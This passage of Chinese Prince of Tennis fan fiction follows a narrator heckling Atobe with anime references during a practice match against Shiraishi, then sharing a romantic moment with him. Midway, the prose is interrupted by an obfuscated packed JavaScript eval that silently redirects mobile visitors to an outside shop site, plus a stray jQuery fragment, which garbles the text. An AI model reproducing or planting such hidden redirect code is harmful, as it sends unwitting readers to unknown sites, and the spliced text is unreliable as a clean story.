每个人都会有社死的场面,有的会烙印在记忆深处,时隔多年想起来仍能羞耻得头皮发麻;有的则随着时间慢慢脱敏,最终成为聚会上的侃侃而谈。至于我嘛,通常当场就把这种记忆用橡皮擦抹得干干净净,直接连根切掉。
好在迹部他们谁也没有多提,所有人默契地掠过了刚才那一幕,自然地接上了新的话题。
冰帝&四天宝寺众:没法,实在太尴尬了,他们也被狠狠地尬住了。
白石藏之介清了清嗓子:“……嗯!总之,我们先去进行练习赛吧!”
迹部景吾额角跳着青筋:“你就不打算解释一下为什么会和我的部员一起回来?”
类似的追问最后都被白石以杰出的搞笑天赋搪塞了过去。我原本以为这事到此就算翻篇了,可偏偏有人完全不懂得看气氛。
财前光语气平淡:“部长,这就是你刚才发短信说想介绍给我认识的女生吗?”
此话一出,不仅当事人炸了,在场所有人都沸腾起来。
日吉若立刻接话:“哈?凭什么介绍给你认识,早乙女桑明明是迹部前辈的…前辈的……”他瞥见对面四天宝寺众人好奇的目光,话到嘴边突然卡住了,不上不下地悬在那里。
“迹部的什么呀?”
“说嘛说嘛,人家可好奇了~”
“这种情况只能是女朋友吧,笨蛋小春。”
“不是哦。”眼看迹部的脸越来越红,怕是要被气疯了,我赶紧站出来灭火,“我和迹部前辈只是很普通的上下级关系,这次出来是办正事的。”
对方猛地扭过头,但却一言不发,似是在无声抗议关于“前辈”这个略显生疏的称呼。
“哦?迹部还给你派了任务?”忍足在旁边打趣,推了推眼镜,眼底的笑意根本藏不住。
真是奇怪,怎么又作出一副神秘兮兮的模样。公事的话那当然是有的,但那不是迹部派的,是我自己个人的要求,毕竟身在其位,还是得做点正经事。
“是啊,这次两校的交流赛我得全程跟进摄影和写稿子,还要给你们每个人做分析报告呢。”
“听起来像是兼职了新闻部和网球部经理两份差事啊。”白石露出爽朗的笑容,“没想到你在冰帝是这样的身份。说起来我之前还以为你是立海大的,毕竟你和幸村——哎呀,时间不早了,咱们先打比赛吧。”
众人:“……”
这人绝对是故意的吧?
阳光底下,紫灰发少年眉头紧蹙,杂乱的思绪让他连额角滑落的汗水都无心顾及了。他偏了偏脑袋,发出一声低低的气音,那声闷哼里藏着的不爽,连他自己都没能察觉。
又是幸村,到底和幸村发生了什么?为什么四天宝寺的部长会知道?
满腔疑惑占据了他整个大脑,哪怕时间已经推进到站在球场中央、机械地竖起手指向天空、道出那句一成不变的王者宣言后,他依旧没能从那种空落落的状态中挣脱出来。
太奇怪了,难道是中了精神攻击?幸村的灭五感已经进化到光提名字就能传染了?不,不是这样,他之所以会这么失态,是因为——
“1-2!”
没接住。
“1-3!”
没接住、没接住,还是没接住…可恶,网球圣经以前有这么强吗?为什么这次他无论打出多么精妙的球,都能被对方用各种刁钻的角度防守回来?
是对手太强了,还是他从全国大赛之后懈怠了……是他变弱了吗?
陷入迷茫的不止是迹部景吾。球场边观战的众人脸色也不好看,就连四天宝寺的队员也察觉到了对方大将的不在状态。
“奇怪,迹部君是不是站太久中暑了?”
“似乎不在状态啊,连他的唐怀瑟发球都失误了。”
我一直安静地看着,心情也有些凝重,虽然这份感情可能和在场的其他人不太一样。直到对上忍足镜片背后那道戏谑的反光,我终于忍不住开了口:
“迹部他是中了镜花水月吗,还是无限月读?打个球跟做梦一样,刚才那招完全用错了吧,这时候展开领域有什么用,对付成龙这种存在就得用最原始的办法啊!”
“早乙女桑是在解说吗?”
“听起来是的,但这解说好像有哪里不对劲吧。”
我真想穿越回几个月前那个完全不懂网球的自己,如果对这项运动还是当初那副陌生的状态,或许现在就不会觉得这场比赛槽点满满了。可偏偏如今这场练习赛在我眼里就像0.25倍速的慢放实况——白石的网球圣经没有一帧动作是多余的,所以我的注意力全被对面漏洞百出的迹部吸走了。
速度好慢,招式也软绵绵的,这样的球怕是连墙都砸不穿吧?现在这种水平别说须佐能乎了,连十万伏特都放不出来吧!
“迹部!下一招用白金之星!只有停止时间才能破局……不对,用雷霆一闪就够了,你的速度必须比对面更快!”
“用魔贯光杀炮!元气弹!”
“地爆天星——”
“早乙女由梨你给我闭嘴!”迹部景吾眼角直抽,终于从那副浑浑噩噩的状态中醒了过来,迅速将比分追平。
“哪凉快哪待着去,你太吵了!”
“我明明是在给你助攻好吗,要不是我刚才的指导你现在早被成龙的平A打趴了。”
“你直到现在说的都是些让人听不懂的话啊!”
“早乙女桑的比喻真有意思,听得我都热血沸腾了。”白石依旧挂着明媚的笑容,把球击回去后还有一搭没一搭地聊着,“我也是你朋友呀,不能厚此薄彼吧,给迹部指导完了总该也指导我几句……哦呀。”
一记重球以绝对无法捕捉的速度压入死角。白石愣了几秒,裁判的播报声便响了起来:
“7-6,比赛结束,胜者冰帝。”
我满心惋惜,连忙上前安慰:“白石君你放心,下次你和别的学校比赛我一定帮你!今天确实太晚了…不过你真的好厉害,全程平A都能打成这样,要是哪天能看到你解除封印就好了。”
“啊,放心吧,到了那时候我会给你心电传音的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773896|209976||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“那就这么说定了!”
被冷落在一旁的迹部:“你俩究竟……你俩什么时候关系这么好了?”
毕竟是一起参观过阿姆斯特朗回旋加速式阿姆斯特朗炮展的同伴,那股羞耻感一直萦绕在我们之间,所以下意识就拉近了距离。
当然,这事我是不可能告诉迹部的。而且他今天的表现确实让人有些费解,完全没有发挥出应有的水平。
和白石嘀咕完我便回到了冰帝的阵营。场上比赛已经换成了日吉若和财前光,虽然白石说财前很有天赋,但我们家日吉也是不会输的!在学校立场上我可是坚定的冰帝派。
“呵,是吗?那刚才比完你怎么直接就跑去找白石了?”迹部景吾擦着汗,脸上被晒得有些泛红,语气努力放得平稳,可我还是听出了那股低落。
汗水顺着脸颊淌下来,一路滑进衣领深处。像是感觉到了痒意,他的喉结跟着不舒服地滚了滚。
“你这是在抱怨我没第一时间来关心你吗?”
“本大爷才没那么脆弱。”
他别开视线,不再理我,浑身上下都写着抗拒,却偏偏弥漫出一股满满的委屈。
好微妙的感觉。
我用手指轻轻勾了下他的衣角,然而只是逼得他将身子都往旁边挪了一步,依旧不愿意跟我沟通。到了这种时刻,ACG阅历丰富的我可以说是很快便找出了问题所在。
“小景,你是在撒娇吗?”
在他因为这话重新转过来时,我抬手捧住他的双颊,两只手稳稳地托着他的脸,让那双海蓝色的瞳孔只能与我相对。
迹部景吾的瞳孔骤然一缩。
那双手贴上来的瞬间,他整个人都僵住了。汗水还挂在额角,紫灰色的碎发被风撩起几缕,擦过她托着他脸颊的指节,眼睫微微颤动,可所有的动静都比不上此刻几乎要冲出胸腔的悸动。
“你……”
声音卡在喉咙里,尾音像是被人掐住了。海蓝色的眼底翻涌着太多情绪,连他自己都说不清此刻究竟是哪种占了上风。刚打完一场酣畅淋漓的逆风局,呼吸还没完全平复,胸膛起伏的热度隔着几步都感觉得到。
近得过分了。
下颌线条逐渐绷紧,连脸颊两侧的肌肉都在微微颤抖。过了好一会儿,那道紧绷的弧度忽然松动了一分,像冰面下悄悄裂开的第一道细纹。
“……你在干什么。”
他终于找回声音,低低的,几乎被风吹散。
风穿过球场的声音无限放大,远处的击球声、裁判的报分声、谁的惊呼声,忽然全都退得很远很远,远到只剩彼此交错的呼吸。
“小景?”
迹部景吾没有应声,反而是缓缓闭上了眼睛。再睁开时,那些翻涌的情绪被压到了眼底深处,只留下一层薄而轻的妥协。
“别这么喊我。”他说,嗓音哑哑的,像被水浸透的海绵,“我不想让其他人听见。”
从始至终,他都没有试图挣脱这双捧着他脸的手,永远保持着一副默许的姿态。